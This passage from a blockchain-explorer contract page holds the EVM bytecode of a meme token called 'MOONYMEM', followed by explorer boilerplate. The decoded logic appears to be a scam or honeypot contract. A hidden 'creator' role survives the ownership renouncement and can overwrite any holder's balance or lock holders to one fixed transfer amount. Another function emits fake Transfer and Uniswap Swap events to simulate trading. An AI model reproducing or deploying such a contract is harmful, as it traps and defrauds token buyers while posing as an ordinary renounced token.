e611c10565b5b8360020a915084821115611d0657611d05611c10565b5b50611d6b565b5060208310610133831016604e8410600b8410161715611d415782820a905083811115611d3c57611d3b611c10565b5b611d6b565b611d4e8484846001611c4c565b92509050818404811115611d6557611d64611c10565b5b81810290505b9392505050565b6000611d7d82611628565b9150611d8883611a55565b9250611db57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611c9f565b905092915050565b6000611dc882611628565b9150611dd383611628565b9250828202611de181611628565b91508282048414831517611df857611df7611c10565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000611e5d611e58611e5384611e2e565b611e38565b611628565b9050919050565b611e6d81611e42565b82525050565b6000608082019050611e8860008301876116d4565b611e956020830186611e64565b611ea26040830185611e64565b611eaf60608301846116d4565b95945050505050565b6000606082019050611ecd6000830186611a2b565b611eda6020830185611a2b565b611ee760408301846116d4565b949350505050565b611ef88161169e565b8114611f0357600080fd5b50565b600081519050611f1581611eef565b92915050565b600060208284031215611f3157611f306115c0565b5b6000611f3f84828501611f06565b91505092915050565b6000611f5382611628565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f8557611f84611c10565b5b600182019050919050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000611fc660198361150f565b9150611fd182611f90565b602082019050919050565b60006020820190508181036000830152611ff581611fb9565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b600061203260208361150f565b915061203d82611ffc565b602082019050919050565b6000602082019050818103600083015261206181612025565b9050919050565b600061207382611628565b915061207e83611628565b925082820390508181111561209657612095611c10565b5b92915050565b60006120a782611628565b91506120b283611628565b92508282019050808211156120ca576120c9611c10565b5b92915050565b7f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360008201527f732072657175697265642e000000000000000000000000000000000000000000602082015250565b600061212c602b8361150f565b9150612137826120d0565b604082019050919050565b6000602082019050818103600083015261215b8161211f565b9050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b600061219860148361150f565b91506121a382612162565b602082019050919050565b600060208201905081810360008301526121c78161218b565b9050919050565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b600061222a60268361150f565b9150612235826121ce565b604082019050919050565b600060208201905081810360008301526122598161221d565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000612296601b8361150f565b91506122a182612260565b602082019050919050565b600060208201905081810360008301526122c581612289565b9050919050565b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b600061230260198361150f565b915061230d826122cc565b602082019050919050565b60006020820190508181036000830152612331816122f5565b9050919050565b600060408201905061234d60008301856116d4565b61235a60208301846116d4565b939250505056fea2646970667358221220e20b19aa2ad83c4e922ef301ae354f484dbf611c9042d7aab0b532e0e474f61264736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf2314610369578063cadc24b514610387578063d8fb9361146103b7578063dd62ed3e146103d3578063e03504af14610403578063e156b1b61461042157610142565b80638e32c003146102c557806395d89b41146102e1578063a713fd53146102ff578063a9059cbb1461031d578063adacad8c1461034d57610142565b806328226aa71161010a57806328226aa714610213578063313ce56714610231578063416c3c9d1461024f5780635c01b60c1461026d57806370a082311461028b578063715018a6146102bb57610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd146101955780631ae1ffbc146101b357806323b872dd146101e3575b600080fd5b61014f610451565b60405161015c9190611594565b60405180910390f35b61017f600480360381019061017a919061165e565b61048e565b60405161018c91906116b9565b60405180910390f35b61019d61058e565b6040516101aa91906116e3565b60405180910390f35b6101cd60048036038101906101c89190611909565b6105b1565b6040516101da91906116b9565b60405180910390f35b6101fd60048036038101906101f891906119d8565b6107ff565b60405161020a91906116b9565b60405180910390f35b61021b610ad7565b6040516102289190611a3a565b60405180910390f35b610239610b00565b6040516102469190611a71565b60405180910390f35b610257610b09565b6040516102649190611a3a565b60405180910390f35b610275610b33565b6040516102829190611594565b60405180910390f35b6102a560048036038101906102a09190611a8c565b610b6c565b6040516102b291906116e3565b60405180910390f35b6102c3610bb5565b005b6102df60048036038101906102da9190611a8c565b610cf1565b005b6102e9610db1565b6040516102f69190611594565b60405180910390f35b610307610dee565b6040516103149190611a71565b60405180910390f35b6103376004803603810190610332919061165e565b610df3565b60405161034491906116b9565b60405180910390f35b61036760048036038101906103629190611b14565b611008565b005b610371611116565b60405161037e91906116e3565b60405180910390f35b6103a1600480360381019061039c9190611a8c565b611135565b6040516103ae91906116e3565b60405180910390f35b6103d160048036038101906103cc9190611b74565b61117e565b005b6103ed60048036038101906103e89190611bd0565b6113ca565b6040516103fa91906116e3565b60405180910390f35b61040b611451565b6040516104189190611594565b60405180910390f35b61043b600480360381019061043691906119d8565b61148a565b60405161044891906116b9565b60405180910390f35b60606040518060400160405280600881526020017f4d4f4f4e594d454d000000000000000000000000000000000000000000000000815250905090565b6000816001600061049d6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166105376114fc565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161057c91906116e3565b60405180910390a36001905092915050565b60006012600a61059e9190611d72565b629896806105ac9190611dbd565b905090565b600080600090505b85518110156107f1578581815181106105d5576105d4611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061063e5761063d611dff565b5b602002602001015160405161065391906116e3565b60405180910390a385818151811061066e5761066d611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106106eb576106ea611dff565b5b602002602001015160008089878151811061070957610708611dff565b5b60200260200101516040516107219493929190611e73565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061075857610757611dff565b5b60200260200101518987858151811061077457610773611dff565b5b60200260200101516040518463ffffffff1660e01b815260040161079a93929190611eb8565b6020604051808303816000875af11580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd9190611f1b565b5080806107e990611f48565b9150506105b9565b506001905095945050505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084b6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be90611fdc565b60405180910390fd5b60006108d285611135565b905060008111156109205780831461091f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091690612048565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461096f9190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109c5919061209c565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a166114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a5f9190612068565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ac391906116e3565b60405180910390a360019150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006012905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600481526020017f4d4f4d450000000000000000000000000000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bbd6114fc565b73ffffffffffffffffffffffffffffffffffffffff16610bdb610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2890612142565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610cf96114fc565b73ffffffffffffffffffffffffffffffffffffffff16610d17610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490612142565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600481526020017f4d4f4d4500000000000000000000000000000000000000000000000000000000815250905090565b601281565b60008160026000610e026114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e75906121ae565b60405180910390fd5b6000610e90610e8b6114fc565b611135565b90506000811115610ede57808314610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490612048565b60405180910390fd5b5b8260026000610eeb6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f349190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8a919061209c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610fb06114fc565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ff591906116e3565b60405180910390a3600191505092915050565b6110106114fc565b73ffffffffffffffffffffffffffffffffffffffff1661102e610b09565b73ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90612240565b60405180910390fd5b60005b838390508110156111105781600360008686858181106110aa576110a9611dff565b5b90506020020160208101906110bf9190611a8c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061110890611f48565b915050611087565b50505050565b6012600a6111249190611d72565b629896806111329190611dbd565b81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111866114fc565b73ffffffffffffffffffffffffffffffffffffffff166111a4610b09565b73ffffffffffffffffffffffffffffffffffffffff16146111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f190612240565b60405180910390fd5b600081101561123e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611235906122ac565b60405180910390fd5b60005b82518110156113c557600083828151811061125f5761125e611dff565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90612318565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c8489082866040516113a8929190612338565b60405180910390a2505080806113bd90611f48565b915050611241565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600881526020017f4d4f4f4e594d454d00000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e991906116e3565b60405180910390a3600190509392505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561153e578082015181840152602081019050611523565b60008484015250505050565b6000601f19601f8301169050919050565b600061156682611504565b611570818561150f565b9350611580818560208601611520565b6115898161154a565b840191505092915050565b600060208201905081810360008301526115ae818461155b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115f5826115ca565b9050919050565b611605816115ea565b811461161057600080fd5b50565b600081359050611622816115fc565b92915050565b6000819050919050565b61163b81611628565b811461164657600080fd5b50565b60008135905061165881611632565b92915050565b60008060408385031215611675576116746115c0565b5b600061168385828601611613565b925050602061169485828601611649565b9150509250929050565b60008115159050919050565b6116b38161169e565b82525050565b60006020820190506116ce60008301846116aa565b92915050565b6116dd81611628565b82525050565b60006020820190506116f860008301846116d4565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61173b8261154a565b810181811067ffffffffffffffff8211171561175a57611759611703565b5b80604052505050565b600061176d6115b6565b90506117798282611732565b919050565b600067ffffffffffffffff82111561179957611798611703565b5b602082029050602081019050919050565b600080fd5b60006117c26117bd8461177e565b611763565b905080838252602082019050602084028301858111156117e5576117e46117aa565b5b835b8181101561180e57806117fa8882611613565b8452602084019350506020810190506117e7565b5050509392505050565b600082601f83011261182d5761182c6116fe565b5b813561183d8482602086016117af565b91505092915050565b600067ffffffffffffffff82111561186157611860611703565b5b602082029050602081019050919050565b600061188561188084611846565b611763565b905080838252602082019050602084028301858111156118a8576118a76117aa565b5b835b818110156118d157806118bd8882611649565b8452602084019350506020810190506118aa565b5050509392505050565b600082601f8301126118f0576118ef6116fe565b5b8135611900848260208601611872565b91505092915050565b600080600080600060a08688031215611925576119246115c0565b5b600061193388828901611613565b955050602086013567ffffffffffffffff811115611954576119536115c5565b5b61196088828901611818565b945050604086013567ffffffffffffffff811115611981576119806115c5565b5b61198d888289016118db565b935050606086013567ffffffffffffffff8111156119ae576119ad6115c5565b5b6119ba888289016118db565b92505060806119cb88828901611613565b9150509295509295909350565b6000806000606084860312156119f1576119f06115c0565b5b60006119ff86828701611613565b9350506020611a1086828701611613565b9250506040611a2186828701611649565b9150509250925092565b611a34816115ea565b82525050565b6000602082019050611a4f6000830184611a2b565b92915050565b600060ff82169050919050565b611a6b81611a55565b82525050565b6000602082019050611a866000830184611a62565b92915050565b600060208284031215611aa257611aa16115c0565b5b6000611ab084828501611613565b91505092915050565b600080fd5b60008083601f840112611ad457611ad36116fe565b5b8235905067ffffffffffffffff811115611af157611af0611ab9565b5b602083019150836020820283011115611b0d57611b0c6117aa565b5b9250929050565b600080600060408486031215611b2d57611b2c6115c0565b5b600084013567ffffffffffffffff811115611b4b57611b4a6115c5565b5b611b5786828701611abe565b93509350506020611b6a86828701611649565b9150509250925092565b60008060408385031215611b8b57611b8a6115c0565b5b600083013567ffffffffffffffff811115611ba957611ba86115c5565b5b611bb585828601611818565b9250506020611bc685828601611649565b9150509250929050565b60008060408385031215611be757611be66115c0565b5b6000611bf585828601611613565b9250506020611c0685828601611613565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611c9657808604811115611c7257611c71611c10565b5b6001851615611c815780820291505b8081029050611c8f85611c3f565b9450611c56565b94509492505050565b600082611caf5760019050611d6b565b81611cbd5760009050611d6b565b8160018114611cd35760028114611cdd57611d0c565b6001915050611d6b565b60ff841115611cef57611cee611c10565b5b8360020a915084821115611d0657611d05611c10565b5b50611d6b565b5060208310610133831016604e8410600b8410161715611d415782820a905083811115611d3c57611d3b611c10565b5b611d6b565b611d4e8484846001611c4c565b92509050818404811115611d6557611d64611c10565b5b81810290505b9392505050565b6000611d7d82611628565b9150611d8883611a55565b9250611db57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611c9f565b905092915050565b6000611dc882611628565b9150611dd383611628565b9250828202611de181611628565b91508282048414831517611df857611df7611c10565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000611e5d611e58611e5384611e2e565b611e38565b611628565b9050919050565b611e6d81611e42565b82525050565b6000608082019050611e8860008301876116d4565b611e956020830186611e64565b611ea26040830185611e64565b611eaf60608301846116d4565b95945050505050565b6000606082019050611ecd6000830186611a2b565b611eda6020830185611a2b565b611ee760408301846116d4565b949350505050565b611ef88161169e565b8114611f0357600080fd5b50565b600081519050611f1581611eef565b92915050565b600060208284031215611f3157611f306115c0565b5b6000611f3f84828501611f06565b91505092915050565b6000611f5382611628565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f8557611f84611c10565b5b600182019050919050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000611fc660198361150f565b9150611fd182611f90565b602082019050919050565b60006020820190508181036000830152611ff581611fb9565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b600061203260208361150f565b915061203d82611ffc565b602082019050919050565b6000602082019050818103600083015261206181612025565b9050919050565b600061207382611628565b915061207e83611628565b925082820390508181111561209657612095611c10565b5b92915050565b60006120a782611628565b91506120b283611628565b92508282019050808211156120ca576120c9611c10565b5b92915050565b7f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360008201527f732072657175697265642e000000000000000000000000000000000000000000602082015250565b600061212c602b8361150f565b9150612137826120d0565b604082019050919050565b6000602082019050818103600083015261215b8161211f565b9050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b600061219860148361150f565b91506121a382612162565b602082019050919050565b600060208201905081810360008301526121c78161218b565b9050919050565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b600061222a60268361150f565b9150612235826121ce565b604082019050919050565b600060208201905081810360008301526122598161221d565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000612296601b8361150f565b91506122a182612260565b602082019050919050565b600060208201905081810360008301526122c581612289565b9050919050565b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b600061230260198361150f565b915061230d826122cc565b602082019050919050565b60006020820190508181036000830152612331816122f5565b9050919050565b600060408201905061234d60008301856116d4565b61235a60208301846116d4565b939250505056fea2646970667358221220e20b19aa2ad83c4e922ef301ae354f484dbf611c9042d7aab0b532e0e474f61264736f6c63430008120033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.